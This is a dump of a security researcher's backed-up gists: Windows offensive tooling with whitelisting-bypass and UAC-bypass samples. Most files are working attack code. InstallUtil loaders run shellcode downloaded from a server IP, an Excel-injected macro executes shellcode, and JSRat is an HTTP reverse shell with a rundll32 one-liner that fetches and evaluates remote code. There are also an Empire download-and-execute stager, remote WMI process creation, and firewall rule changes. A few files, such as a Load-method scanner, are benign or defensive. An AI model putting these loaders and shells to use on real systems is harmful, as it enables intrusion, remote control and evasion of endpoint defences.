├── README.md ├── sample.cmd ├── bypass.html ├── dynwrap.js ├── customers.xml ├── regfreeCom.ps1 ├── gmail_actions_example.html ├── dgconfig.ps1 ├── Win10Bypass.cs ├── Instructions.txt ├── export.cs ├── msbuilder.xml ├── rat.cs ├── mimic.cs ├── LoadMethodScanner.ps1 ├── EventVwrBypass.cs ├── example.js ├── rev_http.cs ├── JSRat.ps1 ├── empire.cs ├── 1e82cabe37f642b13226 ├── powashell.csproj ├── a0f2790b7c93eb805d27 ├── wmi_provider_association.ps1 ├── tonelli-shanks.cs ├── pshell.cs ├── CTF.ps1 ├── InstallUtil-PowerShell.cs ├── shellcode.js ├── signer.ps1 ├── CertTBSHash.ps1 ├── InstallUtil.hta ├── elgamal.ps1 ├── pshell_template_embedded_script.xml ├── regsvcs.cs ├── InterceptorCertGen.ps1 ├── RemoteDLLGuest.cs ├── beaconPayload.cs ├── EmpireCOMPosh.cs ├── EvilWMIProvider.cs ├── DynamicWrapperCS.cs ├── cve-2014-6332_win7_ie11_poc.html ├── dllinjshim.cpp ├── Invoke-Fiddler.ps1 ├── rwxHunter.cs ├── JEWebDav.ps1 ├── ntlm.js ├── msbuildQueueAPC.csproj ├── PoCPowerShellCoreShellcodeRunner.ps1 └── Interceptor.cs /README.md: -------------------------------------------------------------------------------- 1 | # subTee gists code backups 2 | 3 | https://gist.github.com/subTee 4 | -------------------------------------------------------------------------------- /sample.cmd: -------------------------------------------------------------------------------- 1 | rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.Exec(\"calc\")"); -------------------------------------------------------------------------------- /bypass.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | -------------------------------------------------------------------------------- /dynwrap.js: -------------------------------------------------------------------------------- 1 | var actCtx = new ActiveXObject( "Microsoft.Windows.ActCtx" ); 2 | actCtx.Manifest = "C:\\Tools\\COM\\dynwrap.test.manifest"; 3 | try 4 | { 5 | var DX = actCtx.CreateObject("DynamicWrapperX"); 6 | DX.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l"); // Register a dll function. 7 | res = DX.MessageBoxW(0, "Hello, world!", "Test", 4); // Call the function. 8 | } 9 | catch(e){ WScript.Echo("Fail");} -------------------------------------------------------------------------------- /customers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | John Smith 6 |
123 Elm St.
7 | (123) 456-7890 8 |
9 | 10 | Mary Jones 11 |
456 Oak Ave.
12 | (156) 789-0123 13 |
14 |
-------------------------------------------------------------------------------- /regfreeCom.ps1: -------------------------------------------------------------------------------- 1 | # Make Sure dynwrapx,dll is in %temp% 2 | $a = new-object -com Microsoft.Windows.ActCtx 3 | $a.ManifestURL = 'https://gist.githubusercontent.com/subTee/36df32293bc5006148bb6b03b5c4b2c1/raw/661b5aafd55288930761d9ad4eabe7403146ab5c/dynwrapx.dll.manifest' 4 | 5 | $b = $a.CreateObject("DynamicWrapperX") 6 | $b.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l") | Out-Null 7 | $b.MessageBoxW(0, "Hello, world!", "Test", 4) | Out-Null -------------------------------------------------------------------------------- /gmail_actions_example.html: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 18 | 19 | 20 |

21 | This a test for a Go-To action in Gmail. 22 |

23 | 24 | -------------------------------------------------------------------------------- /dgconfig.ps1: -------------------------------------------------------------------------------- 1 | $s1 = (gwmi -List Win32_ShadowCopy).Create("C:\", "ClientAccessible") 2 | $s2 = gwmi Win32_ShadowCopy | ? { $_.ID -eq $s1.ShadowID } 3 | $d = $s2.DeviceObject + "\" 4 | cmd /c mklink /d C:\scpy "$d" 5 | New-CIPolicy -Level LeafCertificate -FilePath C:\BasePolicy.xml -ScanPath C:\scpy -UserPEs 6 | $s2.Delete() 7 | Remove-Item -Path C:\scpy -Force 8 | Set-RuleOption –option 3 –FilePath C:\BasePolicy.xml 9 | ConvertFrom-CIPolicy C:\BasePolicy.xml C:\BasePolicy.bin 10 | Move-Item C:\BasePolicy.bin c:\Windows\System32\CodeIntegrity\SIPolicy.p7b -force 11 | # Reboot 12 | 13 | # Update after use 14 | New-CIPolicy -Level LeafCertificate -f C:\AuditPolicy.xml -Audit -UserPEs -Fallback Hash 15 | Merge-CIPolicy –OutputFilePath C:\MergedPolicy.xml –PolicyPaths C:\AuditPolicy.xml,C:\BasePolicy.xml 16 | Set-RuleOption –option 3 –FilePath C:\MergedPolicy.xml 17 | ConvertFrom-CIPolicy C:\MergedPolicy.xml C:\MergedPolicy.bin 18 | Move-Item C:\MergedPolicy.bin c:\Windows\System32\CodeIntegrity\SIPolicy.p7b -force 19 | #reboot -------------------------------------------------------------------------------- /Win10Bypass.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Reflection; 4 | using System.Configuration.Install; 5 | using System.Runtime.InteropServices; 6 | 7 | /* 8 | Author: Casey Smith, Twitter: @subTee 9 | License: BSD 3-Clause 10 | Step One: 11 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:exec.exe Win10Bypass.cs 12 | Step Two: 13 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exec.exe 14 | 15 | */ 16 | 17 | public class Program 18 | { 19 | public static void Main() 20 | { 21 | Console.WriteLine("Hello From Main...I Don't Do Anything"); 22 | //Add any behaviour here to throw off sandbox execution/analysts :) 23 | 24 | } 25 | 26 | } 27 | 28 | [System.ComponentModel.RunInstaller(true)] 29 | public class Sample : System.Configuration.Install.Installer 30 | { 31 | //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. 32 | public override void Uninstall(System.Collections.IDictionary savedState) 33 | { 34 | 35 | Console.WriteLine("I am banned"); 36 | 37 | } 38 | 39 | } -------------------------------------------------------------------------------- /Instructions.txt: -------------------------------------------------------------------------------- 1 | using System; 2 | using Microsoft.Build.Utilities; 3 | using Microsoft.Build.Framework; 4 | 5 | //C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /r:"C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Framework.dll" /r:"C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Utilities.v4.0.dll" /target:library /out:addtask.dll addtask.cs 6 | 7 | namespace MyTasks 8 | { 9 | public class AddTask : Task 10 | { 11 | private int number1; 12 | 13 | [Required] 14 | public int Number1 15 | { 16 | get { return number1; } 17 | set { number1 = value; } 18 | } 19 | 20 | private int number2; 21 | 22 | [Required] 23 | public int Number2 24 | { 25 | get { return number2; } 26 | set { number2 = value; } 27 | } 28 | 29 | private int sum; 30 | 31 | [Output] 32 | public int Sum 33 | { 34 | get { return sum; } 35 | set { sum = value; } 36 | } 37 | 38 | public override bool Execute() 39 | { 40 | try 41 | { 42 | sum = number1 + number2; 43 | } 44 | catch (ArithmeticException e) 45 | { 46 | Console.WriteLine("Error occured during addition: {0}", e.Message); 47 | return false; 48 | } 49 | return true; 50 | } 51 | } 52 | } -------------------------------------------------------------------------------- /export.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | using RGiesecke.DllExport; 5 | 6 | namespace Export 7 | { 8 | class Test 9 | { 10 | 11 | //void CALLBACK 12 | //EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow); 13 | 14 | [DllExport("EntryPoint", CallingConvention = CallingConvention.StdCall)] 15 | public static void EntryPoint(IntPtr hwnd, IntPtr hinst, string lpszCmdLine, int nCmdShow ) 16 | { 17 | ProcessStartInfo info = new ProcessStartInfo(); 18 | info.FileName = "calc.exe"; 19 | Process.Start(info); 20 | } 21 | [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] 22 | public static void DllRegisterServer() 23 | { 24 | ProcessStartInfo info = new ProcessStartInfo(); 25 | info.FileName = "notepad.exe"; 26 | Process.Start(info); 27 | } 28 | [DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)] 29 | public static void DllUnregisterServer() 30 | { 31 | ProcessStartInfo info = new ProcessStartInfo(); 32 | info.FileName = "powershell.exe"; 33 | Process.Start(info); 34 | } 35 | 36 | 37 | 38 | 39 | } 40 | } -------------------------------------------------------------------------------- /msbuilder.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /rat.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.ServiceModel; 6 | using System.ServiceModel.Description; 7 | using System.Reflection; 8 | 9 | 10 | [ServiceContract] 11 | public interface IRat 12 | { 13 | [OperationContract] 14 | string Tasking(); 15 | 16 | [OperationContract] 17 | void Response(string output); 18 | 19 | } 20 | 21 | public class Rat : IRat 22 | { 23 | public string Tasking() 24 | { 25 | return "ipconfig.exe /all"; 26 | } 27 | 28 | public void Response(string output) 29 | { 30 | Console.WriteLine(output); 31 | 32 | } 33 | 34 | } 35 | 36 | class Program 37 | { 38 | static void Main(string[] args) 39 | { 40 | Uri baseAddress = new Uri("http://localhost:8080/hello.svc"); 41 | 42 | // Create the ServiceHost. 43 | using (ServiceHost host = new ServiceHost(typeof(Rat), baseAddress)) 44 | { 45 | // Enable metadata publishing. 46 | ServiceMetadataBehavior smb = new ServiceMetadataBehavior(); 47 | smb.HttpGetEnabled = true; 48 | smb.MetadataExporter.PolicyVersion = PolicyVersion.Policy15; 49 | host.Description.Behaviors.Add(smb); 50 | 51 | // Open the ServiceHost to start listening for messages. Since 52 | // no endpoints are explicitly configured, the runtime will create 53 | // one endpoint per base address for each service contract implemented 54 | // by the service. 55 | host.Open(); 56 | 57 | Console.WriteLine("The service is ready at {0}", baseAddress); 58 | Console.WriteLine("Press to stop the service."); 59 | Console.ReadLine(); 60 | 61 | // Close the ServiceHost. 62 | host.Close(); 63 | } 64 | } 65 | } -------------------------------------------------------------------------------- /mimic.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Management; 3 | 4 | /* 5 | Author: Casey Smith, Twitter: @subTee 6 | License: BSD 3-Clause 7 | Step One: 8 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe mimic.cs 9 | Step Two: 10 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U mimic.exe 11 | 12 | Reference: https://msdn.microsoft.com/en-us/library/bb404655.aspx 13 | */ 14 | 15 | public class Program 16 | { 17 | public static void Main() 18 | { 19 | Console.WriteLine("Hello From Main...I Don't Do Anything"); 20 | //Add any behaviour here to throw off sandbox execution/analysts :) 21 | 22 | } 23 | 24 | } 25 | 26 | [System.ComponentModel.RunInstaller(true)] 27 | public class Sample : System.Configuration.Install.Installer 28 | { 29 | //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. 30 | public override void Uninstall(System.Collections.IDictionary savedState) 31 | { 32 | 33 | Console.WriteLine("Hello There From Uninstall"); 34 | Mimic.Exec("calc.exe"); 35 | 36 | } 37 | 38 | } 39 | 40 | public class Mimic 41 | 42 | { 43 | public static void Exec(string cmd) 44 | { 45 | try 46 | { 47 | var processToRun = new[] { cmd }; 48 | var connection = new ConnectionOptions(); 49 | connection.Impersonation = ImpersonationLevel.Impersonate; 50 | connection.EnablePrivileges = true; 51 | var wmiScope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", "[REMOTE-NAME]"), connection); 52 | var wmiProcess = new ManagementClass(wmiScope, new ManagementPath("Win32_Process"), new ObjectGetOptions()); 53 | wmiProcess.InvokeMethod("Create", processToRun); 54 | } 55 | catch (Exception e) 56 | { 57 | Console.WriteLine(e.Message); 58 | } 59 | } 60 | } -------------------------------------------------------------------------------- /LoadMethodScanner.ps1: -------------------------------------------------------------------------------- 1 | # Author: Matthew Graeber (@mattifestation) 2 | # Load dnlib with Add-Type first 3 | # dnlib can be obtained here: https://github.com/0xd4d/dnlib 4 | # Example: ls C:\ -Recurse | Get-AssemblyLoadReference 5 | filter Get-AssemblyLoadReference { 6 | param ( 7 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 8 | [Alias('FullName')] 9 | [String] 10 | [ValidateNotNullOrEmpty()] 11 | $Path 12 | ) 13 | 14 | $FullPath = Resolve-Path $Path 15 | 16 | $Module = $null 17 | 18 | try { 19 | $Module = [dnlib.DotNet.ModuleDefMD]::Load($FullPath) 20 | } catch { 21 | return 22 | } 23 | 24 | $listMemberRefMD = $Module.GetType().GetFields('NonPublic, Instance') | ? { $_.Name -eq 'listMemberRefMD' } 25 | $MemberRefList = $listMemberRefMD.GetValue($Module) 26 | 27 | $GenericParamContext = New-Object -TypeName dnlib.DotNet.GenericParamContext 28 | 29 | $AssemblyLoadList = New-Object -TypeName 'System.Collections.Generic.List[System.Object]' 30 | 31 | for ($i = 0; $i -lt $MemberRefList.Length; $i++) { 32 | $MemberRefDefinition = $MemberRefList.Item($i, $GenericParamContext) 33 | 34 | if (($MemberRefDefinition.Name.String -eq 'Load') -and 35 | ($MemberRefDefinition.ReturnType.FullName -eq 'System.Reflection.Assembly') -and 36 | ($MemberRefDefinition.MethodSig.Params.FullName -contains 'System.Byte[]')) { 37 | 38 | <# The assembly "imports" a Load method that: 39 | 1) Is called "Load" 40 | 2) Returns a System.Reflection.Assembly instance 41 | 3) Has at least one parameter that accepts an argument of type System.Byte[] 42 | #> 43 | $AssemblyLoadList.Add($MemberRefDefinition) 44 | } 45 | } 46 | 47 | if ($AssemblyLoadList.Count) { 48 | [PSCustomObject] @{ 49 | AssemblyPath = $FullPath 50 | LoadMethodImports = $AssemblyLoadList 51 | } 52 | } 53 | } -------------------------------------------------------------------------------- /EventVwrBypass.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Reflection; 4 | using System.Configuration.Install; 5 | using System.Runtime.InteropServices; 6 | 7 | using Microsoft.Win32; 8 | /* 9 | InstallUtil.exe C# version of Event Viewer UAC bypass 10 | 11 | Credits: 12 | - @subTee for InstallUtil technique 13 | - @enigma0x3 for Event Viewer UAC bypass 14 | https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ 15 | 16 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe EventVwrBypass.cs 17 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U EventVwrBypass.exe" 18 | */ 19 | [System.ComponentModel.RunInstaller(true)] 20 | public class Sample : System.Configuration.Install.Installer { 21 | public override void Uninstall(System.Collections.IDictionary savedState) { 22 | 23 | Console.WriteLine("Hello There From Uninstall"); 24 | Unlocker.Exec(); 25 | } 26 | } 27 | public class Unlocker { 28 | public static void Main() { 29 | Console.WriteLine("Hello from Main"); 30 | } 31 | 32 | public static void Exec() { 33 | 34 | RegistryKey key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Classes\mscfile\shell\open\command", true); 35 | key.SetValue("", "", Microsoft.Win32.RegistryValueKind.String); 36 | key.Close(); 37 | 38 | Console.WriteLine("Key has been created"); 39 | 40 | System.Diagnostics.Process p = new System.Diagnostics.Process(); 41 | p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; 42 | p.StartInfo.FileName = @"C:\Windows\System32\eventvwr.exe"; 43 | p.Start(); 44 | 45 | Console.WriteLine("Event Viewer is starting up"); 46 | 47 | System.Threading.Thread.Sleep(5000); 48 | 49 | try { 50 | p.Kill(); 51 | Console.WriteLine("Killing Event Viewer"); 52 | } 53 | catch(Exception ex) { 54 | Console.WriteLine("Event Viewer no longer running"); 55 | } 56 | 57 | Console.WriteLine("Cleaning up..."); 58 | key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Classes", true); 59 | key.DeleteSubKeyTree("mscfile"); 60 | key.Close(); 61 | 62 | Console.WriteLine("Complete"); 63 | } 64 | } -------------------------------------------------------------------------------- /example.js: -------------------------------------------------------------------------------- 1 | var objExcel = new ActiveXObject("Excel.Application"); 2 | objExcel.Visible = false; 3 | var WshShell = new ActiveXObject("WScript.Shell"); 4 | var Application_Version = objExcel.Version;//Auto-Detect Version 5 | var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM"; 6 | WshShell.RegWrite(strRegPath, 1, "REG_DWORD"); 7 | var objWorkbook = objExcel.Workbooks.Add(); 8 | var xlmodule = objWorkbook.VBProject.VBComponents.Add(1); 9 | // Sample Shell Code Execution Documented Here: https://www.scriptjunkie.us/2012/01/direct-shellcode-execution-in-ms-office-macros/ 10 | var strCode = 'Private Declare Function CreateThread Lib "kernel32" (ByVal Npdrhkbff As Long, ByVal Drcunuy As Long, ByVal Ache As Long, Wiquwzp As Long, ByVal Ltdplqkqj As Long, Xsawbea As Long) As Long\n'; 11 | strCode += 'Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Aacsuf As Long, ByVal Ioo As Long, ByVal Fpihqsli As Long, ByVal Ximedrqa As Long) As Long\n'; 12 | strCode += 'Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Vejyzyxy As Long, ByRef Kalwgz As Any, ByVal Ftnp As Long) As Long\n'; 13 | strCode += '\n'; 14 | strCode += 'Sub ExecCalc()\n' 15 | strCode += ' Dim Wkbiqmw As Long, Hmbo As Variant, Rwvxs As Long, Xinzcm As Long, Abegogwui As Long\n'; 16 | strCode += ' Hmbo = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _\n'; 17 | strCode += '139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _\n'; 18 | strCode += '13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _\n'; 19 | strCode += '116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _\n'; 20 | strCode += '214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _\n'; 21 | strCode += '36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _\n'; 22 | strCode += '139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _\n'; 23 | strCode += '235, 134, 93, 106, 1, 141, 133, 185, 0, 0, 0, 80, 104, 49, 139, 111, 135, 255, 213, 187, _\n'; 24 | strCode += '224, 29, 42, 10, 104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, _\n'; 25 | strCode += '187, 71, 19, 114, 111, 106, 0, 83, 255, 213, 99, 97, 108, 99, 0)\n'; 26 | strCode += ' Rwvxs = VirtualAlloc(0, UBound(Hmbo), &H1000, &H40)\n'; 27 | strCode += ' For Abegogwui = LBound(Hmbo) To UBound(Hmbo)\n'; 28 | strCode += ' Wkbiqmw = Hmbo(Abegogwui)\n'; 29 | strCode += ' Xinzcm = RtlMoveMemory(Rwvxs + Abegogwui, Wkbiqmw, 1)\n'; 30 | strCode += ' Next Abegogwui\n'; 31 | strCode += ' Xinzcm = CreateThread(0, 0, Rwvxs, 0, 0, 0)\n'; 32 | strCode += 'End Sub\n'; 33 | 34 | xlmodule.CodeModule.AddFromString(strCode); 35 | objExcel.Run("ExecCalc"); 36 | objExcel.DisplayAlerts = false; 37 | objWorkbook.Close(false); -------------------------------------------------------------------------------- /rev_http.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Configuration.Install; 4 | using System.Runtime.InteropServices; 5 | 6 | /* 7 | Author: Casey Smith, Twitter: @subTee 8 | License: BSD 3-Clause 9 | Step One: 10 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:revshell.exe rev_http.cs 11 | Step Two: 12 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /server="http://192.168.56.103/Y0DNA" /U revshell.exe 13 | //You can Add Logic to Use Correct URL generator. This is just me being lazy. 14 | /server="http://[INSERT SERVER IP]/Y0DNA" 15 | 16 | */ 17 | 18 | public class Program 19 | { 20 | public static void Main() 21 | { 22 | Console.WriteLine("Hello From Main...I Don't Do Anything"); 23 | //Add any behaviour here to throw off sandbox execution/analysts :) 24 | 25 | } 26 | 27 | } 28 | 29 | [System.ComponentModel.RunInstaller(true)] 30 | public class Sample : System.Configuration.Install.Installer 31 | { 32 | //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. 33 | public override void Uninstall(System.Collections.IDictionary savedState) 34 | { 35 | Shellcode.Exec(Context.Parameters["server"]); 36 | } 37 | 38 | } 39 | 40 | public class Shellcode 41 | { 42 | public static void Exec(string url) 43 | { 44 | IntPtr handle = GetConsoleWindow(); 45 | ShowWindow(handle, 0); //Hides Process Window 46 | 47 | WebClient wc = new WebClient(); 48 | wc.Headers.Add("user-agent", "User-Agent DFIR "); 49 | byte[] shellcode = wc.DownloadData(url); 50 | 51 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 52 | Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode.Length); 53 | IntPtr hThread = IntPtr.Zero; 54 | UInt32 threadId = 0; 55 | // prepare data 56 | 57 | 58 | IntPtr pinfo = IntPtr.Zero; 59 | 60 | // execute native code 61 | 62 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 63 | WaitForSingleObject(hThread, 0xFFFFFFFF); 64 | 65 | } 66 | 67 | private static UInt32 MEM_COMMIT = 0x1000; 68 | 69 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 70 | 71 | [DllImport("kernel32")] 72 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 73 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 74 | 75 | [DllImport("kernel32")] 76 | private static extern IntPtr CreateThread( 77 | 78 | UInt32 lpThreadAttributes, 79 | UInt32 dwStackSize, 80 | UInt32 lpStartAddress, 81 | IntPtr param, 82 | UInt32 dwCreationFlags, 83 | ref UInt32 lpThreadId 84 | 85 | ); 86 | 87 | 88 | [DllImport("kernel32")] 89 | private static extern UInt32 WaitForSingleObject( 90 | 91 | IntPtr hHandle, 92 | UInt32 dwMilliseconds 93 | ); 94 | 95 | [DllImport("kernel32")] 96 | static extern IntPtr GetConsoleWindow(); 97 | 98 | [DllImport("user32.dll")] 99 | static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 100 | 101 | } -------------------------------------------------------------------------------- /JSRat.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | 3 | Author: Casey Smith @subTee 4 | 5 | License: BSD3-Clause 6 | 7 | .SYNOPSIS 8 | 9 | Simple Reverse Shell over HTTP. Execute Commands on Client. 10 | 11 | rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1/connect",false);h.Send();B=h.ResponseText;eval(B) 12 | 13 | Listening Server IP Address 14 | 15 | #> 16 | 17 | $Server = '127.0.0.1' #Listening IP. Change This. 18 | 19 | function Receive-Request { 20 | param( 21 | $Request 22 | ) 23 | $output = "" 24 | $size = $Request.ContentLength64 + 1 25 | $buffer = New-Object byte[] $size 26 | do { 27 | $count = $Request.InputStream.Read($buffer, 0, $size) 28 | $output += $Request.ContentEncoding.GetString($buffer, 0, $count) 29 | } until($count -lt $size) 30 | $Request.InputStream.Close() 31 | write-host $output 32 | } 33 | 34 | $listener = New-Object System.Net.HttpListener 35 | $listener.Prefixes.Add('http://+:80/') 36 | 37 | netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null 38 | netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null 39 | 40 | $listener.Start() 41 | 'Listening ...' 42 | while ($true) { 43 | $context = $listener.GetContext() # blocks until request is received 44 | $request = $context.Request 45 | $response = $context.Response 46 | $hostip = $request.RemoteEndPoint 47 | #Use this for One-Liner Start 48 | if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) { 49 | write-host "Host Connected" -fore Cyan 50 | $message = ' 51 | var id = window.setTimeout(function() {}, 0); 52 | while (id--) { 53 | window.clearTimeout(id); // Clear Timeouts 54 | } 55 | 56 | while(true) 57 | { 58 | h = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); 59 | h.Open("GET","http://'+$Server+'/rat",false); 60 | h.Send(); 61 | c = h.ResponseText; 62 | r = new ActiveXObject("WScript.Shell").Exec(c); 63 | var so; 64 | while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()} 65 | p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); 66 | p.Open("POST","http://'+$Server+'/rat",false); 67 | p.Send(so); 68 | } 69 | 70 | ' 71 | 72 | } 73 | 74 | if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) { 75 | Receive-Request($request) 76 | } 77 | if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) { 78 | $response.ContentType = 'text/plain' 79 | $message = Read-Host "JS $hostip>" 80 | } 81 | 82 | 83 | [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message) 84 | $response.ContentLength64 = $buffer.length 85 | $output = $response.OutputStream 86 | $output.Write($buffer, 0, $buffer.length) 87 | $output.Close() 88 | } 89 | 90 | $listener.Stop() -------------------------------------------------------------------------------- /empire.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Reflection; 4 | using System.Configuration.Install; 5 | using System.Runtime.InteropServices; 6 | 7 | //Add For PowerShell Invocation 8 | using System.Collections.ObjectModel; 9 | using System.Management.Automation; 10 | using System.Management.Automation.Runspaces; 11 | 12 | 13 | /* 14 | Author: Casey Smith, Twitter: @subTee 15 | 16 | License: BSD 3-Clause 17 | Step One: 18 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Program Files\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll" /out:Empire.exe Empire.cs 19 | Step Two: 20 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U Empire.exe 21 | 22 | */ 23 | 24 | public class Program 25 | { 26 | public static void Main() 27 | { 28 | Console.WriteLine("Hello From Main...I Don't Do Anything"); 29 | //Add any behaviour here to throw off sandbox execution/analysts :) 30 | 31 | } 32 | 33 | } 34 | 35 | [System.ComponentModel.RunInstaller(true)] 36 | public class Sample : System.Configuration.Install.Installer 37 | { 38 | //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. 39 | public override void Uninstall(System.Collections.IDictionary savedState) 40 | { 41 | 42 | while(true) 43 | { 44 | //INSERT STAGER SCRIPT HERE 45 | //example 46 | //string x = "$wC=NeW-ObJECt SysteM.NeT.WEBCLiEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HEAdERS.ADD('User-Agent',$u);$WC.PRoxy = [SyStem.NEt.WEBREqUESt]::DEfAUltWEbProxy;$wc.PROxy.CreDentiAlS = [SYstEM.NeT.CRedENtIalCache]::DefAUlTNEtWoRKCrEdeNtiALS;$K='3cc31cd246149aec68079241e71e98f6';$I=0;[cHaR[]]$B=([ChAr[]]($wC.DowNLOAdStrIng("http://192.168.56.102:8080/index.asp")))|%{$_-BXoR$K[$I++%$K.LEnGth]};IEX ($b-jOIN'')"; 47 | //Be sure to properly escape, or encode the string. 48 | //Thats it! 49 | string x = "[INSERT STAGER SCRIPT HERE]"; 50 | RunPSCommand(x); 51 | } 52 | 53 | } 54 | 55 | //Based on Jared Atkinson's And Justin Warner's Work 56 | public static string RunPSCommand(string cmd) 57 | { 58 | //Init stuff 59 | Runspace runspace = RunspaceFactory.CreateRunspace(); 60 | runspace.Open(); 61 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 62 | Pipeline pipeline = runspace.CreatePipeline(); 63 | 64 | //Add commands 65 | pipeline.Commands.AddScript(cmd); 66 | 67 | //Prep PS for string output and invoke 68 | pipeline.Commands.Add("Out-String"); 69 | Collection results = pipeline.Invoke(); 70 | runspace.Close(); 71 | 72 | //Convert records to strings 73 | StringBuilder stringBuilder = new StringBuilder(); 74 | foreach (PSObject obj in results) 75 | { 76 | stringBuilder.Append(obj); 77 | } 78 | return stringBuilder.ToString().Trim(); 79 | } 80 | 81 | 82 | } -------------------------------------------------------------------------------- /1e82cabe37f642b13226: -------------------------------------------------------------------------------- 1 | function Receive-Request { 2 | param( 3 | $Request 4 | ) 5 | $output = "" 6 | $size = $Request.ContentLength64 + 1 7 | $buffer = New-Object byte[] $size 8 | do { 9 | $count = $Request.InputStream.Read($buffer, 0, $size) 10 | $output += $Request.ContentEncoding.GetString($buffer, 0, $count) 11 | } until($count -lt $size) 12 | $Request.InputStream.Close() 13 | write-host $output 14 | } 15 | 16 | $listener = New-Object System.Net.HttpListener 17 | $listener.Prefixes.Add('http://+:80/') 18 | 19 | netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null 20 | netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null 21 | 22 | $listener.Start() 23 | 